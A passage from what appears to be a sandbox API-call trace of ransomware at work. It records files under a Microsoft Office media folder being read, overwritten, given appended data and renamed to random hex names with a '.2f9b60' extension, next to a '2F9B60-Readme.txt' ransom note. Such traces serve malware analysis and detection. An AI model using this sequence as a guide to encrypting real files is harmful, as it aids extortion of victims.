returned 0x4205a0b0 [0136.742] NtQuerySystemTime (in: CurrentTime=0x27c8f860 | out: CurrentTime=0x27c8f860*=132462177419830000) returned 0x0 [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x6f597b03 [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x59619f5c [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x19af6be6 [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x399a8dea [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x2663a7c6 [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x494ba7ac [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x4eaf1bc8 [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0xf32248 [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x7c844188 [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x679ba0b5 [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x3c7be4a0 [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x704614e5 [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x43c03a65 [0136.742] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x7b96ecfd [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x44fa76aa [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x32093e09 [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x73220547 [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x5e85617c [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x40318a91 [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x4fa23fa2 [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x6d3fb4e1 [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x113fcb40 [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x30db0a4d [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x264b9ae3 [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x50a5a8c6 [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x23864381 [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x60363234 [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x518547e2 [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x55390deb [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x57d63db [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x668d7d1b [0136.743] RtlRandomEx (in: Seed=0x27c8f850 | out: Seed=0x27c8f850) returned 0x2eff7c8a [0136.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0136.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0136.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0136.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0136.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0136.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2030a0b0 [0136.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20360910 [0136.758] ReadFile (in: hFile=0x1db0, lpBuffer=0x2030a0b0, nNumberOfBytesToRead=0x3465, lpNumberOfBytesRead=0x27c8f850, lpOverlapped=0x0 | out: lpBuffer=0x2030a0b0*, lpNumberOfBytesRead=0x27c8f850*=0x3465, lpOverlapped=0x0) returned 1 [0136.793] SetFilePointerEx (in: hFile=0x1db0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.793] WriteFile (in: hFile=0x1db0, lpBuffer=0x20360910*, nNumberOfBytesToWrite=0x3465, lpNumberOfBytesWritten=0x27c8f854, lpOverlapped=0x0 | out: lpBuffer=0x20360910*, lpNumberOfBytesWritten=0x27c8f854*=0x3465, lpOverlapped=0x0) returned 1 [0136.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0136.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0136.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0136.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20360910) returned 1 [0136.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030a0b0) returned 1 [0136.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a500 [0136.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0136.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0136.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0136.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a5f0 [0136.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0136.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0136.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0136.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1674c0 [0136.803] SetFilePointerEx (in: hFile=0x1db0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.803] WriteFile (in: hFile=0x1db0, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x27c8f970, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x27c8f970*=0x10a, lpOverlapped=0x0) returned 1 [0136.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a470 [0136.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a470) returned 1 [0136.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0136.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a470 [0136.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4a0 [0136.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4a0) returned 1 [0136.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee30 [0136.813] sprintf (in: _Dest=0x1cd9ee30, _Format="%c%c" | out: _Dest="f4") returned 2 [0136.813] sprintf (in: _Dest=0x1cd9ee32, _Format="%c%c" | out: _Dest="e4") returned 2 [0136.813] sprintf (in: _Dest=0x1cd9ee34, _Format="%c%c" | out: _Dest="27") returned 2 [0136.813] sprintf (in: _Dest=0x1cd9ee36, _Format="%c%c" | out: _Dest="ff") returned 2 [0136.813] sprintf (in: _Dest=0x1cd9ee38, _Format="%c%c" | out: _Dest="1a") returned 2 [0136.813] sprintf (in: _Dest=0x1cd9ee3a, _Format="%c%c" | out: _Dest="4f") returned 2 [0136.813] sprintf (in: _Dest=0x1cd9ee3c, _Format="%c%c" | out: _Dest="75") returned 2 [0136.813] sprintf (in: _Dest=0x1cd9ee3e, _Format="%c%c" | out: _Dest="15") returned 2 [0136.813] sprintf (in: _Dest=0x1cd9ee40, _Format="%c%c" | out: _Dest="22") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee42, _Format="%c%c" | out: _Dest="e0") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee44, _Format="%c%c" | out: _Dest="91") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee46, _Format="%c%c" | out: _Dest="43") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee48, _Format="%c%c" | out: _Dest="49") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee4a, _Format="%c%c" | out: _Dest="b0") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee4c, _Format="%c%c" | out: _Dest="a0") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee4e, _Format="%c%c" | out: _Dest="4f") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee50, _Format="%c%c" | out: _Dest="13") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee52, _Format="%c%c" | out: _Dest="21") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee54, _Format="%c%c" | out: _Dest="35") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee56, _Format="%c%c" | out: _Dest="a5") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee58, _Format="%c%c" | out: _Dest="a6") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee5a, _Format="%c%c" | out: _Dest="7f") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee5c, _Format="%c%c" | out: _Dest="23") returned 2 [0136.814] sprintf (in: _Dest=0x1cd9ee5e, _Format="%c%c" | out: _Dest="90") returned 2 [0136.814] RtlInitAnsiString (in: DestinationString=0x27c8f9e8, SourceString="f4e427ff1a4f751522e0914349b0a04f132135a5a67f2390" | out: DestinationString="f4e427ff1a4f751522e0914349b0a04f132135a5a67f2390") [0136.814] RtlAnsiStringToUnicodeString (in: DestinationString=0x27c8f9b8, SourceString="f4e427ff1a4f751522e0914349b0a04f132135a5a67f2390", AllocateDestinationString=1 | out: DestinationString="f4e427ff1a4f751522e0914349b0a04f132135a5a67f2390") returned 0x0 [0136.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8fa0 [0136.815] RtlFreeAnsiString (AnsiString="f") [0136.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ee30) returned 1 [0136.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a470) returned 1 [0136.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0136.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0136.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0136.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0136.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0136.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0136.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0136.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0136.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506810 [0136.816] wcscat (in: _Dest=0x20506810, _Source="f4e427ff1a4f" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f4e427ff1a4f") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f4e427ff1a4f" [0136.816] wcscat (in: _Dest=0x20506810, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f4e427ff1a4f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f4e427ff1a4f.2f9b60" [0136.816] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f4e427ff1a4f.2f9b60", NtPathName=0x27c8f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\f4e427ff1a4f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bab0 [0136.817] NtSetInformationFile (FileHandle=0x1db0, IoStatusBlock=0x27c8fa30, FileInformation=0x2050bab0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bab0) returned 1 [0146.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290510) returned 1 [0146.850] NtQueryInformationFile (in: FileHandle=0x1db0, IoStatusBlock=0x27c8f9f8, FileInformation=0x27c8fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27c8f9f8, FileInformation=0x27c8fa08) returned 0x0 [0146.851] NtSetInformationFile (FileHandle=0x1db0, IoStatusBlock=0x27c8f9f8, FileInformation=0x27c8fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506810) returned 1 [0147.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8fa0) returned 1 [0147.005] FlushFileBuffers (hFile=0x1db0) returned 1 [0147.034] CloseHandle (hObject=0x1db0) returned 1 [0147.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b430 [0147.041] wcscpy (in: _Dest=0x1b86b430, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.041] wcscat (in: _Dest=0x1b86b430, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b430) returned 1 [0147.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b820) returned 1 Thread: id = 1767 os_tid = 0x1798 [0132.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf")) returned 0x20 [0132.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF", dwFileAttributes=0x20) returned 1 [0133.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cc8 [0135.741] GetFileSizeEx (in: hFile=0x1cc8, lpFileSize=0x280cfb40 | out: lpFileSize=0x280cfb40*=9116) returned 1 [0135.741] SetFilePointerEx (in: hFile=0x1cc8, liDistanceToMove=0x2398, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.741] ReadFile (in: hFile=0x1cc8, lpBuffer=0x280cfac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x280cfb08, lpOverlapped=0x0 | out: lpBuffer=0x280cfac0*, lpNumberOfBytesRead=0x280cfb08*=0x4, lpOverlapped=0x0) returned 1 [0135.917] SetFilePointerEx (in: hFile=0x1cc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0135.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0135.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0135.917] NtQuerySystemTime (in: CurrentTime=0x280cfa00 | out: CurrentTime=0x280cfa00*=132462177411562000) returned 0x0 [0135.917] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0xf3d399c [0135.917] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x3a7de40e [0135.917] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x6865e050 [0135.917] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x76a69d62 [0135.917] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x6514c170 [0135.917] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x69871d2e [0135.917] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x342a65ad [0135.917] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x75a758ec [0135.917] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x1f5ec497 [0135.917] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x4b52fa56 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x5c36aa3 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0xc78836f [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x49709c35 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x7f939e7d [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x78e2277 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x1f86c1f4 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x7c0c4eb2 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x2445ab59 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x258083a2 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x5504d992 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x69811d95 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x147ff279 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x79edae8 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x24f5d1cd [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x6e22940f [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x33b6726 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x6d710b98 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x312b171 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x6b10ca35 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x10c54a83 [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x298322da [0135.918] RtlRandomEx (in: Seed=0x280cf9f0 | out: Seed=0x280cf9f0) returned 0x1b990b02 [0135.928] ReadFile (in: hFile=0x1cc8, lpBuffer=0x203b3560, nNumberOfBytesToRead=0x239c, lpNumberOfBytesRead=0x280cf9f0, lpOverlapped=0x0 | out: lpBuffer=0x203b3560*, lpNumberOfBytesRead=0x280cf9f0*=0x239c, lpOverlapped=0x0) returned 1 [0136.005] SetFilePointerEx (in: hFile=0x1cc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.005] WriteFile (in: hFile=0x1cc8, lpBuffer=0x203b7170*, nNumberOfBytesToWrite=0x239c, lpNumberOfBytesWritten=0x280cf9f4, lpOverlapped=0x0 | out: lpBuffer=0x203b7170*, lpNumberOfBytesWritten=0x280cf9f4*=0x239c, lpOverlapped=0x0) returned 1 [0142.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff3a0 [0142.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff3d0 [0142.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff3d0) returned 1 [0142.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203b7170) returned 1 [0142.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203b3560) returned 1 [0142.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0142.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0142.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204ff3d0 [0142.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0142.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8693c0 [0142.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff400 [0142.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff400) returned 1 [0142.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204ff400 [0142.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff430 [0142.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff460 [0142.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff460) returned 1 [0142.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0142.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0142.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x168120 [0142.457] SetFilePointerEx (in: hFile=0x1cc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0142.457] WriteFile (in: hFile=0x1cc8, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x280cfb10, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x280cfb10*=0x10a, lpOverlapped=0x0) returned 1 [0143.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0143.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0143.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262090 [0143.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262090) returned 1 [0143.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0143.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262090 [0143.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202636b0 [0143.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202636b0) returned 1 [0143.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0143.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0143.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa120 [0143.431] sprintf (in: _Dest=0x1b7aa120, _Format="%c%c" | out: _Dest="0e") returned 2 [0143.431] sprintf (in: _Dest=0x1b7aa122, _Format="%c%c" | out: _Dest="c9") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa124, _Format="%c%c" | out: _Dest="e8") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa126, _Format="%c%c" | out: _Dest="fd") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa128, _Format="%c%c" | out: _Dest="27") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa12a, _Format="%c%c" | out: _Dest="ac") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa12c, _Format="%c%c" | out: _Dest="ac") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa12e, _Format="%c%c" | out: _Dest="3d") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa130, _Format="%c%c" | out: _Dest="8a") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa132, _Format="%c%c" | out: _Dest="43") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa134, _Format="%c%c" | out: _Dest="c9") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa136, _Format="%c%c" | out: _Dest="cc") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa138, _Format="%c%c" | out: _Dest="3f") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa13a, _Format="%c%c" | out: _Dest="54") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa13c, _Format="%c%c" | out: _Dest="2b") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa13e, _Format="%c%c" | out: _Dest="93") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa140, _Format="%c%c" | out: _Dest="15") returned 2 [0143.432] sprintf (in: _Dest=0x1b7aa142, 